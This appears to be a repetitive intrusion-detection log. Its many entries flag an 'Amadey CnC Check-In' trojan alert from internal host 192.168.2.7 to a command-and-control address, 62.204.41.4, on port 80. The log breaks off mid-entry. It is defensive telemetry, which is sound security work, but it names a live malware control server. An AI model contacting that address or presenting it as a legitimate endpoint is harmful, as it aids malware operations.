Timestamp:	192.168.2.762.204.41.450264802027700 02/07/23-23:09:35.995836
SID:	2027700
Source Port:	50264
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450433802027700 02/07/23-23:10:19.240532
SID:	2027700
Source Port:	50433
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450080802027700 02/07/23-23:08:46.056281
SID:	2027700
Source Port:	50080
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450077802027700 02/07/23-23:08:45.296740
SID:	2027700
Source Port:	50077
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450007802027700 02/07/23-23:08:26.308602
SID:	2027700
Source Port:	50007
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449874802027700 02/07/23-23:07:48.380254
SID:	2027700
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450334802027700 02/07/23-23:09:53.217371
SID:	2027700
Source Port:	50334
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450363802027700 02/07/23-23:10:00.334134
SID:	2027700
Source Port:	50363
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450245802027700 02/07/23-23:09:31.338382
SID:	2027700
Source Port:	50245
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450458802027700 02/07/23-23:10:25.313774
SID:	2027700
Source Port:	50458
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449940802027700 02/07/23-23:08:07.464494
SID:	2027700
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449785802027700 02/07/23-23:07:25.161286
SID:	2027700
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450008802027700 02/07/23-23:08:26.555660
SID:	2027700
Source Port:	50008
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450150802027700 02/07/23-23:09:03.798728
SID:	2027700
Source Port:	50150
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450452802027700 02/07/23-23:10:23.844381
SID:	2027700
Source Port:	50452
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449969802027700 02/07/23-23:08:14.885714
SID:	2027700
Source Port:	49969
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450064802027700 02/07/23-23:08:42.089378
SID:	2027700
Source Port:	50064
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450208802027700 02/07/23-23:09:20.046231
SID:	2027700
Source Port:	50208
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450162802027700 02/07/23-23:09:06.685785
SID:	2027700
Source Port:	50162
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450119802027700 02/07/23-23:08:56.055732
SID:	2027700
Source Port:	50119
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449944802027700 02/07/23-23:08:08.460141
SID:	2027700
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449861802027700 02/07/23-23:07:45.159848
SID:	2027700
Source Port:	49861
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450379802027700 02/07/23-23:10:04.185148
SID:	2027700
Source Port:	50379
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449855802027700 02/07/23-23:07:43.680992
SID:	2027700
Source Port:	49855
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449953802027700 02/07/23-23:08:10.664703
SID:	2027700
Source Port:	49953
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449769802027700 02/07/23-23:07:21.212903
SID:	2027700
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449858802027700 02/07/23-23:07:44.420398
SID:	2027700
Source Port:	49858
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450051802027700 02/07/23-23:08:38.908724
SID:	2027700
Source Port:	50051
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450175802027700 02/07/23-23:09:11.950103
SID:	2027700
Source Port:	50175
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450449802027700 02/07/23-23:10:23.123641
SID:	2027700
Source Port:	50449
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449772802027700 02/07/23-23:07:21.956084
SID:	2027700
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449842802027700 02/07/23-23:07:40.535003
SID:	2027700
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449931802027700 02/07/23-23:08:05.263417
SID:	2027700
Source Port:	49931
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450277802027700 02/07/23-23:09:39.183924
SID:	2027700
Source Port:	50277
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450106802027700 02/07/23-23:08:52.814624
SID:	2027700
Source Port:	50106
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450153802027700 02/07/23-23:09:04.508859
SID:	2027700
Source Port:	50153
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450420802027700 02/07/23-23:10:14.158819
SID:	2027700
Source Port:	50420
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449788802027700 02/07/23-23:07:25.894312
SID:	2027700
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449699802027700 02/07/23-23:07:02.789716
SID:	2027700
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449802802027700 02/07/23-23:07:29.225910
SID:	2027700
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450130802027700 02/07/23-23:08:58.812897
SID:	2027700
Source Port:	50130
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450225802027700 02/07/23-23:09:24.183239
SID:	2027700
Source Port:	50225
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450047802027700 02/07/23-23:08:37.932300
SID:	2027700
Source Port:	50047
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450399802027700 02/07/23-23:10:09.045857
SID:	2027700
Source Port:	50399
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450188802027700 02/07/23-23:09:15.102934
SID:	2027700
Source Port:	50188
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449976802027700 02/07/23-23:08:18.678576
SID:	2027700
Source Port:	49976
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450403802027700 02/07/23-23:10:09.998024
SID:	2027700
Source Port:	50403
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450258802027700 02/07/23-23:09:34.513209
SID:	2027700
Source Port:	50258
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449798802027700 02/07/23-23:07:28.267776
SID:	2027700
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449740802027700 02/07/23-23:07:12.735380
SID:	2027700
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449891802027700 02/07/23-23:07:52.534100
SID:	2027700
Source Port:	49891
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450436802027700 02/07/23-23:10:19.971883
SID:	2027700
Source Port:	50436
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449835802027700 02/07/23-23:07:37.902416
SID:	2027700
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449719802027700 02/07/23-23:07:07.624988
SID:	2027700
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450261802027700 02/07/23-23:09:35.263577
SID:	2027700
Source Port:	50261
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450215802027700 02/07/23-23:09:21.772162
SID:	2027700
Source Port:	50215
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450083802027700 02/07/23-23:08:46.810774
SID:	2027700
Source Port:	50083
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449986802027700 02/07/23-23:08:21.156437
SID:	2027700
Source Port:	49986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450120802027700 02/07/23-23:08:56.307442
SID:	2027700
Source Port:	50120
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449845802027700 02/07/23-23:07:41.253266
SID:	2027700
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450014802027700 02/07/23-23:08:28.008248
SID:	2027700
Source Port:	50014
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449881802027700 02/07/23-23:07:50.123193
SID:	2027700
Source Port:	49881
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450037802027700 02/07/23-23:08:33.640087
SID:	2027700
Source Port:	50037
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450202802027700 02/07/23-23:09:18.573599
SID:	2027700
Source Port:	50202
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450462802027700 02/07/23-23:10:26.316744
SID:	2027700
Source Port:	50462
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450248802027700 02/07/23-23:09:32.043752
SID:	2027700
Source Port:	50248
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450284802027700 02/07/23-23:09:40.912417
SID:	2027700
Source Port:	50284
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449871802027700 02/07/23-23:07:47.646611
SID:	2027700
Source Port:	49871
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450413802027700 02/07/23-23:10:12.452915
SID:	2027700
Source Port:	50413
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450027802027700 02/07/23-23:08:31.210464
SID:	2027700
Source Port:	50027
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450321802027700 02/07/23-23:09:50.021531
SID:	2027700
Source Port:	50321
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450198802027700 02/07/23-23:09:17.611552
SID:	2027700
Source Port:	50198
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450376802027700 02/07/23-23:10:03.465876
SID:	2027700
Source Port:	50376
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450024802027700 02/07/23-23:08:30.495661
SID:	2027700
Source Port:	50024
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450205802027700 02/07/23-23:09:19.325527
SID:	2027700
Source Port:	50205
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450057802027700 02/07/23-23:08:40.336371
SID:	2027700
Source Port:	50057
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449729802027700 02/07/23-23:07:10.061030
SID:	2027700
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449907802027700 02/07/23-23:07:59.344645
SID:	2027700
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450235802027700 02/07/23-23:09:27.132915
SID:	2027700
Source Port:	50235
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449989802027700 02/07/23-23:08:21.900932
SID:	2027700
Source Port:	49989
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449848802027700 02/07/23-23:07:41.988753
SID:	2027700
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450426802027700 02/07/23-23:10:15.811820
SID:	2027700
Source Port:	50426
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450271802027700 02/07/23-23:09:37.717475
SID:	2027700
Source Port:	50271
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450100802027700 02/07/23-23:08:51.207785
SID:	2027700
Source Port:	50100
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450093802027700 02/07/23-23:08:49.276435
SID:	2027700
Source Port:	50093
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450129802027700 02/07/23-23:08:58.570310
SID:	2027700
Source Port:	50129
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449730802027700 02/07/23-23:07:10.313178
SID:	2027700
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450307802027700 02/07/23-23:09:46.569596
SID:	2027700
Source Port:	50307
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450389802027700 02/07/23-23:10:06.609151
SID:	2027700
Source Port:	50389
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450139802027700 02/07/23-23:09:01.006926
SID:	2027700
Source Port:	50139
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450228802027700 02/07/23-23:09:24.958282
SID:	2027700
Source Port:	50228
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449710802027700 02/07/23-23:07:05.446086
SID:	2027700
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450090802027700 02/07/23-23:08:48.540226
SID:	2027700
Source Port:	50090
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449973802027700 02/07/23-23:08:16.792891
SID:	2027700
Source Port:	49973
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450311802027700 02/07/23-23:09:47.562395
SID:	2027700
Source Port:	50311
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450396802027700 02/07/23-23:10:08.320217
SID:	2027700
Source Port:	50396
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449884802027700 02/07/23-23:07:50.864770
SID:	2027700
Source Port:	49884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450044802027700 02/07/23-23:08:37.214832
SID:	2027700
Source Port:	50044
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450222802027700 02/07/23-23:09:23.463165
SID:	2027700
Source Port:	50222
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450133802027700 02/07/23-23:08:59.557977
SID:	2027700
Source Port:	50133
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449795802027700 02/07/23-23:07:27.539097
SID:	2027700
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449838802027700 02/07/23-23:07:39.576743
SID:	2027700
Source Port:	49838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450406802027700 02/07/23-23:10:10.747493
SID:	2027700
Source Port:	50406
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449927802027700 02/07/23-23:08:04.272110
SID:	2027700
Source Port:	49927
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450317802027700 02/07/23-23:09:49.028783
SID:	2027700
Source Port:	50317
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449726802027700 02/07/23-23:07:09.303743
SID:	2027700
Source Port:	49726
Destination Port:	80
Protocol:	TCP
